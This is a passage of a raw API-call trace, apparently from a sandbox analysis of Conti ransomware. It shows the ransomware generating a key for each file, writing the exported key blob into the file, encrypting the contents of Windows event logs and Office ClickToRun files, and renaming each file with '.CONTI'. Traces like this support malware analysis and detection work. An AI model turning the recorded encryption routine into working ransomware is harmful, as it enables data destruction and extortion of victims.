	[0096.515] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.CONTI"
	[0096.515] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.conti")) returned 1
	[0096.516] GetProcessHeap () returned 0x1720000
	[0096.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.516] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.516] GetProcessHeap () returned 0x1720000
	[0096.516] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17411b0 | out: hHeap=0x1720000) returned 1
	[0096.516] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.516] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d68e0 | out: phKey=0x17d68e0*=0x17c8430) returned 1
	[0096.516] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d68e4, pdwDataLen=0x4d3fec4 | out: pbData=0x17d68e4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.517] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0096.517] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0096.517] GetLastError () returned 0x0
	[0096.517] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.517] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.517] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.517] SetEndOfFile (hFile=0x308) returned 1
	[0096.518] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.518] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.518] WriteFile (in: hFile=0x308, lpBuffer=0x17d68e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d68e4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.519] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.519] ReadFile (in: hFile=0x308, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.520] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.520] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.520] WriteFile (in: hFile=0x308, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.520] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.521] WriteFile (in: hFile=0x308, lpBuffer=0x17d68d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d68d8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.521] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.521] CloseHandle (hObject=0x308) returned 1
	[0096.522] GetProcessHeap () returned 0x1720000
	[0096.522] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.522] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx"
	[0096.522] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.CONTI"
	[0096.522] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.conti")) returned 1
	[0096.523] GetProcessHeap () returned 0x1720000
	[0096.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.523] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.523] GetProcessHeap () returned 0x1720000
	[0096.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3a80 | out: hHeap=0x1720000) returned 1
	[0096.523] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.523] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d98c8 | out: phKey=0x17d98c8*=0x17c8430) returned 1
	[0096.523] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d98cc, pdwDataLen=0x4d3fec4 | out: pbData=0x17d98cc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.524] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0096.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0096.531] GetLastError () returned 0x0
	[0096.532] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=69632) returned 1
	[0096.532] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.532] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.532] SetEndOfFile (hFile=0x378) returned 1
	[0096.532] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.532] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.532] WriteFile (in: hFile=0x378, lpBuffer=0x17d98cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d98cc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.565] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.565] ReadFile (in: hFile=0x378, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.566] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x11010) returned 1
	[0096.566] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.566] WriteFile (in: hFile=0x378, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.567] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.567] WriteFile (in: hFile=0x378, lpBuffer=0x17d98c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d98c0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.567] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.567] CloseHandle (hObject=0x378) returned 1
	[0096.568] GetProcessHeap () returned 0x1720000
	[0096.568] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.568] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx"
	[0096.569] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.CONTI"
	[0096.569] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.conti")) returned 1
	[0096.569] GetProcessHeap () returned 0x1720000
	[0096.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.569] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0096.569] GetProcessHeap () returned 0x1720000
	[0096.569] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741370 | out: hHeap=0x1720000) returned 1
	[0096.569] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0096.569] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d7b20 | out: phKey=0x17d7b20*=0x17c8430) returned 1
	[0096.569] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7b24, pdwDataLen=0x4d3fec4 | out: pbData=0x17d7b24*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0096.570] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0096.571] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0096.571] GetLastError () returned 0x0
	[0096.571] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1052672) returned 1
	[0096.571] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x101000
	[0096.571] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.571] SetEndOfFile (hFile=0x378) returned 1
	[0096.571] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.571] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.571] WriteFile (in: hFile=0x378, lpBuffer=0x17d7b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d7b24*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.572] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.572] ReadFile (in: hFile=0x378, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x101000, lpOverlapped=0x0) returned 1
	[0096.591] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x101000, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x101010) returned 1
	[0096.592] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.592] WriteFile (in: hFile=0x378, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x101010, lpOverlapped=0x0) returned 1
	[0096.595] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.595] WriteFile (in: hFile=0x378, lpBuffer=0x17d7b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d7b18*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0096.595] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.595] CloseHandle (hObject=0x378) returned 1
	[0097.464] GetProcessHeap () returned 0x1720000
	[0097.464] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.464] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx"
	[0097.464] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.CONTI"
	[0097.464] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.conti")) returned 1
	[0097.464] GetProcessHeap () returned 0x1720000
	[0097.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.464] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0097.464] GetProcessHeap () returned 0x1720000
	[0097.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740d50 | out: hHeap=0x1720000) returned 1
	[0097.465] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0099.051] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17e6918 | out: phKey=0x17e6918*=0x17c80f0) returned 1
	[0099.051] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e691c, pdwDataLen=0x4d3fec4 | out: pbData=0x17e691c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0099.077] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash")) returned 0x20
	[0099.087] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0099.087] GetLastError () returned 0x0
	[0099.087] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=102) returned 1
	[0099.087] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0099.087] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.087] SetEndOfFile (hFile=0x348) returned 1
	[0099.088] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.088] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.088] WriteFile (in: hFile=0x348, lpBuffer=0x17e691c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17e691c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.090] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.090] ReadFile (in: hFile=0x348, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x66, lpOverlapped=0x0) returned 1
	[0099.090] CryptEncrypt (in: hKey=0x17c80f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x66, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x70) returned 1
	[0099.090] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.090] WriteFile (in: hFile=0x348, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x70, lpOverlapped=0x0) returned 1
	[0099.090] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.090] WriteFile (in: hFile=0x348, lpBuffer=0x17e6910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17e6910*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0099.090] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.090] CloseHandle (hObject=0x348) returned 1
	[0099.091] GetProcessHeap () returned 0x1720000
	[0099.091] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.091] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash"
	[0099.091] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.CONTI"
	[0099.091] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\s640.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\s640.hash.conti")) returned 1
	[0099.092] GetProcessHeap () returned 0x1720000
	[0099.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.092] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0099.092] GetProcessHeap () returned 0x1720000
	[0099.092] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb698 | out: hHeap=0x1720000) returned 1
	[0099.092] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0099.092] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c85f0) returned 1
	[0099.092] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d443c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0099.093] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml")) returned 0x20
	[0099.093] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmuiset.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0099.094] GetLastError () returned 0x0
	[0099.094] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=2042) returned 1
	[0099.094] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7fa
	[0099.094] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.094] SetEndOfFile (hFile=0x348) returned 1
	[0099.094] SetFilePointer (in: hFile=0x348, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
